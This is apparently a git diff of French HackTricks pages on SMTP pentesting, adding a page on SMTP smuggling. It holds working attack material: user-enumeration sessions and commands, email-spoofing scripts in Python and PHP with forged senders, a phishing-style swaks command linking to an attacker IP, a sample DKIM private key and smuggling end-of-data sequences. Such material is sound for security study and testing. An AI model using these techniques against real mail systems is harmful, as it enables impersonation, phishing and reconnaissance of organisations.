**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner plus de temps pour creuser plus profondément, ouvrir des shells et s'amuser. @@ -37,13 +37,13 @@ Si vous avez l'opportunité de **faire envoyer un email par la victime** (via le Vous pouvez également recevoir un email d'un serveur SMTP en essayant d'**envoyer à ce serveur un email à une adresse inexistante** (car le serveur enverra à l'attaquant un email NDN). Cependant, assurez-vous d'envoyer l'email depuis une adresse autorisée (vérifiez la politique SPF) et que vous pouvez recevoir des messages NDN. -Vous devriez également essayer d'**envoyer des contenus différents car vous pourriez trouver des informations plus intéressantes** dans les en-têtes comme : `X-Virus-Scanned: by av.domain.com`\ +Vous devriez également essayer d'**envoyer des contenus différents car vous pouvez trouver des informations plus intéressantes** dans les en-têtes comme : `X-Virus-Scanned: by av.domain.com`\ Vous devriez envoyer le fichier de test EICAR.\ Détecter l'**AV** peut vous permettre d'exploiter des **vulnérabilités connues.** ## Actions de base -### **Capture de bannière/Connexion de base** +### **Récupération de la bannière/Connexion de base** **SMTP:** ```bash @@ -101,11 +101,11 @@ MAIL FROM: me ``` ### Sniffing -Vérifiez si vous avez reniflé un mot de passe à partir des paquets vers le port 25 +Vérifiez si vous parvenez à repérer un mot de passe dans les paquets vers le port 25 -### [Authentification par force brute](../../generic-methodologies-and-resources/brute-force.md#smtp) +### [Bruteforce d'authentification](../../generic-methodologies-and-resources/brute-force.md#smtp) -## Énumération par force brute des noms d'utilisateur +## Énumération par Bruteforce de Nom d'Utilisateur **L'authentification n'est pas toujours nécessaire** @@ -129,7 +129,7 @@ RCPT TO:ed ``` ### VRFY -La commande VRFY est utilisée pour vérifier si un utilisateur spécifique existe dans le système de messagerie. Cette commande peut être exploitée par des attaquants pour recueillir des informations sur les utilisateurs valides du système. Il est recommandé de désactiver la commande VRFY pour renforcer la sécurité du serveur SMTP. +La commande VRFY est utilisée pour vérifier si une boîte aux lettres spécifique existe sur le serveur SMTP. ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... @@ -147,7 +147,7 @@ VRFY blah ``` ### EXPN -L'extension de commande SMTP `EXPN` est utilisée pour demander au serveur de messagerie de divulguer des informations sur une liste de diffusion spécifique. Cette commande peut être exploitée par des attaquants pour recueillir des informations sensibles telles que les adresses e-mail des utilisateurs. Il est recommandé de désactiver la commande `EXPN` pour éviter toute divulgation involontaire d'informations. +L'extension de commande SMTP `EXPN` est utilisée pour demander au serveur de messagerie de divulguer les alias ou les listes de diffusion qu'il gère. Cette commande peut être exploitée par des attaquants pour recueillir des informations sensibles sur les utilisateurs et les groupes de messagerie. Il est recommandé de désactiver la commande `EXPN` pour renforcer la sécurité du serveur de messagerie. ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... @@ -170,7 +170,7 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ``` -
+
**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. @@ -178,7 +178,7 @@ Nmap: nmap --script smtp-enum-users ## Rapports DSN -**Rapports de notification de l'état de livraison** : Si vous envoyez un **e-mail** à une organisation à une **adresse invalide**, l'organisation vous notifiera que l'adresse était invalide en envoyant un **e-mail de retour**. Les **en-têtes** de l'e-mail retourné **contiendront** des informations potentiellement **sensibles** (comme l'adresse IP des services de messagerie qui ont interagi avec les rapports ou des informations sur les logiciels antivirus). +**Rapports de notification de l'état de livraison** : Si vous envoyez un **e-mail** à une organisation avec une **adresse invalide**, l'organisation vous notifiera que l'adresse était invalide en envoyant un **e-mail de retour**. Les **en-têtes** de l'e-mail renvoyé **contiendront** des **informations sensibles** possibles (comme l'adresse IP des services de messagerie qui ont interagi avec les rapports ou des informations sur les logiciels antivirus). ## [Commandes](smtp-commands.md) @@ -197,6 +197,10 @@ If you are manually typing in a message: swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 ``` ### Envoyer un e-mail avec Python + +
+ +Code Python ici ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText @@ -239,11 +243,21 @@ server.quit() print("[***]successfully sent email to %s:" % (msg['To'])) ``` -## Contremesures contre le Spoofing d'Email +
-Les organisations empêchent l'envoi d'emails non autorisés en leur nom en utilisant **SPF**, **DKIM**, et **DMARC** en raison de la facilité de spoofing des messages SMTP. +## Vulnérabilité de Smuggling SMTP -Un **guide complet sur ces contre-mesures** est disponible sur [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). +La vulnérabilité de Smuggling SMTP permettait de contourner toutes les protections SMTP (consultez la section suivante pour plus d'informations sur les protections). Pour plus d'informations sur le Smuggling SMTP, consultez : + +{% content-ref url="smtp-smuggling.md" %} +[smtp-smuggling.md](smtp-smuggling.md) +{% endcontent-ref %} + +## Contremesures de Spoofing d'Email + +Les organisations sont empêchées d'envoyer des emails non autorisés en leur nom en utilisant **SPF**, **DKIM**, et **DMARC** en raison de la facilité de falsification des messages SMTP. + +Un **guide complet sur ces contremesures** est disponible sur [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). ### SPF @@ -252,22 +266,22 @@ SPF a été "déprécié" en 2014. Cela signifie qu'au lieu de créer un enregis De plus, pour réutiliser les enregistrements SPF précédents, il est assez courant de trouver quelque chose comme `"v=spf1 include:_spf.google.com ~all"` {% endhint %} -Le **Sender Policy Framework** (SPF) est un mécanisme qui permet aux Agents de Transfert de Courrier (MTA) de vérifier si un hôte envoyant un email est autorisé en interrogeant une liste de serveurs de messagerie autorisés définis par les organisations. Cette liste, qui spécifie les adresses IP/plages, les domaines, et d'autres entités **autorisées à envoyer des emails au nom d'un nom de domaine**, inclut diverses "**Mécanismes**" dans l'enregistrement SPF. +**Sender Policy Framework** (SPF) est un mécanisme qui permet aux Agents de Transfert de Courrier (MTA) de vérifier si un hôte envoyant un email est autorisé en interrogeant une liste de serveurs de messagerie autorisés définie par les organisations. Cette liste, qui spécifie les adresses IP/plages, les domaines, et d'autres entités **autorisées à envoyer des emails au nom d'un nom de domaine**, inclut diverses "**Mécanismes**" dans l'enregistrement SPF. #### Mécanismes -De [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): +Depuis [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework): | Mécanisme | Description | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ALL | Correspond toujours; utilisé pour un résultat par défaut comme `-all` pour toutes les IPs non correspondant aux mécanismes précédents. | -| A | Si le nom de domaine a un enregistrement d'adresse (A ou AAAA) qui peut être résolu à l'adresse de l'expéditeur, il correspondra. | -| IP4 | Si l'expéditeur se trouve dans une plage d'adresses IPv4 donnée, correspondance. | -| IP6 | Si l'expéditeur se trouve dans une plage d'adresses IPv6 donnée, correspondance. | -| MX | Si le nom de domaine a un enregistrement MX se résolvant à l'adresse de l'expéditeur, il correspondra (c'est-à-dire que le courrier provient de l'un des serveurs de courrier entrant du domaine). | -| PTR | Si le nom de domaine (enregistrement PTR) pour l'adresse du client est dans le domaine donné et que ce nom de domaine se résout à l'adresse du client (DNS inverse confirmé en avant), correspondance. Ce mécanisme est déconseillé et doit être évité, si possible. | -| EXISTS | Si le nom de domaine donné se résout à une adresse quelconque, correspondance (peu importe l'adresse à laquelle il se résout). C'est rarement utilisé. Avec le langage macro SPF, il offre des correspondances plus complexes comme les requêtes DNSBL. | -| INCLUDE | Référence la politique d'un autre domaine. Si la politique de ce domaine passe, ce mécanisme passe. Cependant, si la politique incluse échoue, le traitement se poursuit. Pour déléguer entièrement à la politique d'un autre domaine, l'extension de redirection doit être utilisée. | +| ALL | Correspond toujours; utilisé pour un résultat par défaut comme `-all` pour toutes les adresses IP non correspondant aux mécanismes précédents. | +| A | Si le nom de domaine a un enregistrement d'adresse (A ou AAAA) qui peut être résolu à l'adresse de l'expéditeur, il correspondra. | +| IP4 | Si l'expéditeur est dans une plage d'adresses IPv4 donnée, correspondance. | +| IP6 | Si l'expéditeur est dans une plage d'adresses IPv6 donnée, correspondance. | +| MX | Si le nom de domaine a un enregistrement MX se résolvant à l'adresse de l'expéditeur, il correspond (c'est-à-dire que le courrier provient de l'un des serveurs de courrier entrant du domaine). | +| PTR | Si le nom de domaine (enregistrement PTR) pour l'adresse du client est dans le domaine donné et que ce nom de domaine se résout à l'adresse du client (DNS inverse confirmé en avant), correspondance. Ce mécanisme est déconseillé et doit être évité, si possible. | +| EXISTS | Si le nom de domaine donné se résout à une adresse quelconque, correspondance (peu importe l'adresse à laquelle il se résout). Ceci est rarement utilisé. Avec le langage macro SPF, il offre des correspondances plus complexes comme les requêtes DNSBL. | +| INCLUDE | Référence la politique d'un autre domaine. Si la politique de ce domaine passe, ce mécanisme passe. Cependant, si la politique incluse échoue, le traitement se poursuit. Pour déléguer entièrement à la politique d'un autre domaine, l'extension de redirection doit être utilisée. | | REDIRECT |

Une redirection est un pointeur vers un autre nom de domaine qui héberge une politique SPF, elle permet à plusieurs domaines de partager la même politique SPF. C'est utile lorsqu'on travaille avec un grand nombre de domaines partageant la même infrastructure de messagerie.

La politique SPF du domaine indiqué dans le mécanisme de redirection sera utilisée.

| Il est également possible d'identifier des **Qualificateurs** qui indiquent **ce qui doit être fait si un mécanisme est correspondant**. Par défaut, le **qualificateur "+"** est utilisé (donc si un mécanisme correspond, cela signifie qu'il est autorisé).\ @@ -280,7 +294,7 @@ Chaque mécanisme dans la politique peut être précédé de l'un des quatre qua * **`+`**: Correspond à un résultat PASS. Par défaut, les mécanismes supposent ce qualificateur, rendant `+mx` équivalent à `mx`. * **`?`**: Représente un résultat NEUTRE, traité de manière similaire à AUCUN (aucune politique spécifique). * **`~`**: Indique SOFTFAIL, servant de terrain d'entente entre NEUTRE et ÉCHEC. Les emails répondant à ce résultat sont généralement acceptés mais marqués en conséquence. -* **`-`**: Indique ÉCHEC, suggérant que l'email devrait être rejeté catégoriquement. +* **`-`**: Indique ÉCHEC, suggérant que l'email devrait être rejeté en totalité. Dans l'exemple suivant, la **politique SPF de google.com** est illustrée. Notez l'inclusion des politiques SPF de différents domaines dans la première politique SPF : ```shell-session @@ -301,13 +315,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -Traditionnellement, il était possible de falsifier n'importe quel nom de domaine qui n'avait pas d'enregistrement SPF correct/aucun. **De nos jours**, si un **e-mail** provient d'un **domaine sans enregistrement SPF valide**, il sera probablement **rejeté/marqué comme non fiable automatiquement**. +Traditionnellement, il était possible de falsifier n'importe quel nom de domaine qui n'avait pas d'enregistrement SPF correct/ou inexistant. **De nos jours**, si un **e-mail** provient d'un **domaine sans enregistrement SPF valide**, il sera probablement **rejeté/marqué comme non fiable automatiquement**. Pour vérifier le SPF d'un domaine, vous pouvez utiliser des outils en ligne comme : [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) -DKIM est utilisé pour signer les e-mails sortants, permettant leur validation par des Agents de Transfert de Courrier (MTA) externes grâce à la récupération de la clé publique du domaine depuis le DNS. Cette clé publique se trouve dans l'enregistrement TXT d'un domaine. Pour accéder à cette clé, il faut connaître à la fois le sélecteur et le nom de domaine. +DKIM est utilisé pour signer les e-mails sortants, permettant leur validation par des Agents de Transfert de Courrier (MTA) externes grâce à la récupération de la clé publique du domaine à partir du DNS. Cette clé publique se trouve dans l'enregistrement TXT d'un domaine. Pour accéder à cette clé, il est nécessaire de connaître à la fois le sélecteur et le nom de domaine. Par exemple, pour demander la clé, le nom de domaine et le sélecteur sont essentiels. Ils peuvent être trouvés dans l'en-tête du courrier `DKIM-Signature`, par exemple, `d=gmail.com;s=20120113`. @@ -352,19 +366,19 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA **De** [**ici**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Vous devez avoir des enregistrements SPF séparés pour chaque sous-domaine à partir duquel vous souhaitez envoyer des e-mails.\ -Ce qui suit a été initialement publié sur openspf.org, qui était autrefois une excellente ressource pour ce type d'informations. +Ce qui suit a été initialement publié sur openspf.org, qui était autrefois une excellente ressource pour ce type de chose. > La question du démon : Et les sous-domaines? > -> Si je reçois un e-mail de pielovers.demon.co.uk et qu'il n'y a pas de données SPF pour pielovers, devrais-je remonter d'un niveau et tester SPF pour demon.co.uk? Non. Chaque sous-domaine chez Demon est un client différent, et chaque client pourrait avoir sa propre politique. Il n'aurait pas de sens que la politique de Demon s'applique par défaut à tous ses clients; si Demon veut le faire, il peut configurer des enregistrements SPF pour chaque sous-domaine. +> Si je reçois un e-mail de pielovers.demon.co.uk et qu'il n'y a pas de données SPF pour pielovers, devrais-je remonter d'un niveau et tester SPF pour demon.co.uk? Non. Chaque sous-domaine chez Demon est un client différent, et chaque client pourrait avoir sa propre politique. Il n'aurait pas de sens que la politique de Demon s'applique par défaut à tous ses clients ; si Demon veut le faire, il peut configurer des enregistrements SPF pour chaque sous-domaine. > -> Ainsi, le conseil aux éditeurs SPF est le suivant : vous devriez ajouter un enregistrement SPF pour chaque sous-domaine ou nom d'hôte ayant un enregistrement A ou MX. +> Ainsi, le conseil aux éditeurs SPF est le suivant : vous devriez ajouter un enregistrement SPF pour chaque sous-domaine ou nom d'hôte qui a un enregistrement A ou MX. > > Les sites avec des enregistrements A ou MX génériques devraient également avoir un enregistrement SPF générique, de la forme : \* IN TXT "v=spf1 -all" Cela a du sens - un sous-domaine peut très bien se trouver dans un endroit géographique différent et avoir une définition SPF très différente. -### **Relais ouvert** +### **Relais Ouvert** Lors de l'envoi d'e-mails, il est crucial de s'assurer qu'ils ne soient pas signalés comme spam. Cela est souvent réalisé grâce à l'utilisation d'un **serveur relais qui est approuvé par le destinataire**. Cependant, un défi courant est que les administrateurs pourraient ne pas être pleinement conscients des **plages d'adresses IP sûres à autoriser**. Ce manque de compréhension peut entraîner des erreurs dans la configuration du serveur SMTP, un risque fréquemment identifié lors des évaluations de sécurité. @@ -372,7 +386,7 @@ Une solution de contournement que certains administrateurs utilisent pour évite ```bash mynetworks = 0.0.0.0/0 ``` -Pour vérifier si un serveur de messagerie est un relais ouvert (ce qui signifie qu'il pourrait transférer des e-mails de n'importe quelle source externe), l'outil `nmap` est couramment utilisé. Il inclut un script spécifique conçu pour tester cela. La commande pour effectuer un balayage détaillé sur un serveur (par exemple, avec l'IP 10.10.10.10) sur le port 25 en utilisant `nmap` est : +Pour vérifier si un serveur de messagerie est un relais ouvert (ce qui signifie qu'il pourrait transférer des e-mails de n'importe quelle source externe), l'outil `nmap` est couramment utilisé. Il inclut un script spécifique conçu pour tester cela. La commande pour effectuer une analyse détaillée sur un serveur (par exemple, avec l'IP 10.10.10.10) sur le port 25 en utilisant `nmap` est : ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` @@ -398,7 +412,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE ``` {% hint style="warning" %} Si vous rencontrez une **erreur en utilisant la bibliothèque dkim python** pour analyser la clé, n'hésitez pas à utiliser la suivante.\ -**REMARQUE** : Il s'agit simplement d'une solution temporaire pour effectuer des vérifications rapides dans les cas où, pour une raison quelconque, la clé privée **ne peut pas être analysée par dkim**. +**REMARQUE** : Il s'agit simplement d'une solution temporaire pour effectuer des vérifications rapides dans les cas où, pour une raison quelconque, la clé privée openssl **ne peut pas être analysée par dkim**. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt @@ -423,7 +437,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== {% tabs %} {% tab title="PHP" %}
# Cela enverra un message non signé
-mail("votre_email@gmail.com", "Sujet de test !", "Salut ! Ceci est un test", "De : administrateur@victime.com");
+mail("votre_email@gmail.com", "Sujet de test !", "salut ! Ceci est un test", "De : administrateur@victime.com");
 
{% endtab %} @@ -517,8 +531,9 @@ sendmail.cf submit.cf ``` ## Références + * [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) -* [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/) +* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/) ``` Protocol_Name: SMTP #Protocol Abbreviation if there is one. Port_Number: 25,465,587 #Comma separated if there is more than one. @@ -569,21 +584,22 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ``` -
+
-**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} +
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/network-services-pentesting/pentesting-smtp/smtp-commands.md b/network-services-pentesting/pentesting-smtp/smtp-commands.md index 9fdf9e6c9..92b317cf7 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-commands.md +++ b/network-services-pentesting/pentesting-smtp/smtp-commands.md @@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -35,7 +35,7 @@ Avec cette commande SMTP, les opérations commencent : l'expéditeur indique l'a Il identifie le destinataire de l'e-mail ; s'il y en a plusieurs, la commande est simplement répétée adresse par adresse. **SIZE**\ -Cette commande SMTP informe le serveur distant de la taille estimée (en octets) de l'e-mail attaché. Elle peut également être utilisée pour indiquer la taille maximale d'un message à accepter par le serveur. +Cette commande SMTP informe le serveur distant de la taille estimée (en termes d'octets) de l'e-mail attaché. Elle peut également être utilisée pour indiquer la taille maximale d'un message à accepter par le serveur. **DATA**\ Avec la commande DATA, le contenu de l'e-mail commence à être transféré ; elle est généralement suivie d'un code de réponse 354 donné par le serveur, donnant la permission de commencer la transmission réelle. @@ -50,20 +50,20 @@ Cette commande est utilisée pour inverser les rôles entre le client et le serv Avec la commande AUTH, le client s'authentifie auprès du serveur, en fournissant son nom d'utilisateur et son mot de passe. C'est une autre couche de sécurité pour garantir une transmission correcte. **RSET**\ -Elle informe le serveur que la transmission de l'e-mail en cours va être terminée, bien que la conversation SMTP ne sera pas fermée (comme dans le cas de QUIT). +Elle informe le serveur que la transmission d'e-mail en cours va être terminée, bien que la conversation SMTP ne sera pas fermée (comme dans le cas de QUIT). **EXPN**\ Cette commande SMTP demande une confirmation concernant l'identification d'une liste de diffusion. **HELP**\ -C'est une demande du client pour des informations qui peuvent être utiles pour un transfert réussi de l'e-mail. +Il s'agit d'une demande du client pour des informations pouvant être utiles pour un transfert d'e-mail réussi. **QUIT**\ Elle met fin à la conversation SMTP. -
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -76,7 +76,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md new file mode 100644 index 000000000..4f9d38433 --- /dev/null +++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -0,0 +1,59 @@ +# Contrebande SMTP + +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! + +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. + +
+ +## Informations de base + +Ce type de vulnérabilité a été [**découvert à l'origine dans ce post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) où il est expliqué qu'il est possible d'**exploiter les divergences dans la façon dont le protocole SMTP est interprété** lors de la finalisation d'un e-mail, permettant à un attaquant de faire passer plus d'e-mails dans le corps de l'e-mail légitime, permettant d'usurper d'autres utilisateurs du domaine affecté (comme admin@outlook.com) en contournant les défenses telles que SPF. + +### Pourquoi + +Cela est dû au fait que dans le protocole SMTP, les **données du message** à envoyer dans l'e-mail sont contrôlées par un utilisateur (attaquant) qui pourrait envoyer des données spécialement conçues en abusant des différences dans les analyseurs qui feront passer des e-mails supplémentaires dans le récepteur. Jetez un œil à cet exemple illustré du post original : + +

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

+ +### Comment + +Pour exploiter cette vulnérabilité, un attaquant doit envoyer des données que le **serveur SMTP sortant pense qu'il s'agit d'un seul e-mail mais que le serveur SMTP entrant pense qu'il y a plusieurs e-mails**. + +Les chercheurs ont découvert que différents **serveurs entrants considèrent différentes caractères comme la fin des données** du message e-mail que les serveurs sortants ne considèrent pas.\ +Par exemple, une fin régulière des données est `\r\n.\r\n`. Mais si le serveur SMTP entrant prend également en charge `\n.\n`, un attaquant pourrait simplement ajouter **ces données dans son e-mail et commencer à indiquer les commandes SMTP** de nouveaux pour les faire passer comme dans l'image précédente. + +Bien sûr, cela ne fonctionnerait que si le **serveur SMTP sortant ne traite pas non plus ces données** comme la fin des données du message, car dans ce cas, il verrait 2 e-mails au lieu d'un seul, donc à la fin, c'est la désynchronisation qui est exploitée dans cette vulnérabilité. + +Données potentielles de désynchronisation : + +* `\n.\n` +* `\n.\r\n` + +Notez également que le SPF est contourné car si vous faites passer un e-mail de `admin@outlook.com` pour un e-mail de `user@outlook.com`, **l'expéditeur reste `outlook.com`.** + +## **Références** + +* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) + +
